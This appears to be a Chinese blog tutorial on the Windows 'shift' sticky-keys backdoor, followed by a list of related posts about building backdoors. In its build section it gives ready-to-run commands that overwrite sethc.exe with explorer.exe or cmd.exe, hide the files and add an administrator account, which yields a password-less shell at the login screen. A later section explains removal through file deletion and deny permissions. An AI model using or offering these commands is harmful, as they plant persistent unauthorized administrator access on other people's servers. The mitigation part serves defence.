一、什么是shift后门?

shift后门是黑客希望以后方便进入服务器而在没有密码的情况下为进入服务器系统而设置的一个后门。

其操作就是在不知道管理员密码的情况下，连续按5次shift键来启动粘滞键，已进入服务器的系统程序管理器。

二、shift后门的制作？

其制作有很多种，下面介绍一种常用的，可以明白其原理自己扩展：

在cmd窗口，敲打命令如下：

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h

用copy命令将explorer.exe复制为setch.exe，这样在登陆界面下连续按5次shift就可以调出程序管理系统了，就获取了系统权限。

(也可以将explorer.exe 改为cmd.exe，这样子这样在登陆界面下连续按5次shift就可以调出cmd命令了，就获取了shell权限。)

使用命令：

net user admin 123456 /add && net localgroup administrators admin /add

执行上面的命令，便可以创建一个叫admin的用户，密码为123456.

三、shift后门的禁止？

两种方法：

第一种：直接删除C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的sethc.exe文件,(注意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐藏受系统保护的操作系统文件"的选择取消才能看得到).这种方法不能完全解除，当服务器重启后，还是会出现后门。

第二种（建议使用这种方法）：使用权限来约束这两个文件C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的sethc.exe文件,(注意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐藏受系统保护的操作系统文件"的选择取消才能看得到). 在权限里设置为所有用户(Everyone)禁止运行。具体操作步骤如下：

1.找到C:\WINDOWS\system32目录下的sethc.exe文件，打开属性：

点击”高级“，去掉“允许父项的继承权限传播到该对象和所有子对象”的勾。

点击”添加“，在出现的选择用户和组中点击”立即查找“，在搜索结果中找到”Everoy“用户，并确定：

点击确定：

继续确定，将”Everoy“用户的权限设置为全部拒绝：

这样就禁止了安装和在此访问。当再次安装和访问时，就会出现拒绝访问：

shift后门制作和禁止相关推荐

后门之shift后门制作及修复方法
一.如何制作shift后门方法1 在cmd窗口,敲打命令如下: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe copy c:\ ...
《老漏洞复现与分析篇》 - 其一 - shift后门
引言因为本菜鸡的博客没什么文章素材,所以想开一个新文章类别,本来想整一个漏洞分析和复现的,无奈由于实力不允许,只能再前面加一个"老"字,整一点多年前的老漏洞拿来复现和分析.俗话说 ...
沾滞键shift后门
目录 1. 简介 2. 后门原理 3. 后门制作 3.1 方法一 cmd覆盖sethc 3.2 方法二利用注册表修改沾滞键快捷方式 4. shift后门利用 1. 简介沾滞键的目的是为了帮助那些按 ...
linux php后门,Linux_一个初级的linux后门制作方法，众所周知，Linux的文件权限如: - phpStudy...
一个初级的linux后门制作方法众所周知,Linux的文件权限如: 777;666等,其实只要在相应的文件上加上UID的权限,就可以用到加权限人的身份去运行这个文件.所以我们只需要将bash复制出来 ...
linux添加后门方法,超初级的linux后门制作方法
超初级的linux后门制作方法更新时间:2006年10月24日 00:00:00 作者: 众所周知,Linux的文件权限如: 777:666等,其实只要在相应的文件上加上UID的权限,就可以用到 ...
SHIFT后门拿服务器之方法总结
提权工具如下:cmd.exe Churrasco.exe nc.exe 提权前提:Wscript组件成功开启如果Wscript组件被关闭,则使用以下方法开启: 源代码: <object run ...
后门制作及安装技术(全)
后门制作及安装技术摘要本文将描述如何测定入侵者使用的方法这样的复杂内容和管理员如何防止入侵者重返的基础知识. (2002-09-16 13:30:19) 后门声明:此文为翻译文章,QiangGe ...
④开启shift后门实验报告
班级计科1班姓名彭彭头学号时间 2022.05.13 成绩实验项目名称开启shift后门实验目的 1.了解常用入侵主机的方法 2.掌握操作系统常见漏洞,并学会防范实验内容利用Win ...
RDP shift后门漏洞
RDP shift后门漏洞在win7开机过程中,强制关闭计算机,再次开机会出现修复,点启动修复当它无法修复时会弹出下面的框发送和不发送,这里有查看问题详细信息的按钮点击该按钮可以看到有一些信息 ...

shift后门制作和禁止

一、什么是shift后门?

二、shift后门的制作？

三、shift后门的禁止？

shift后门制作和禁止相关推荐

最新文章

热门文章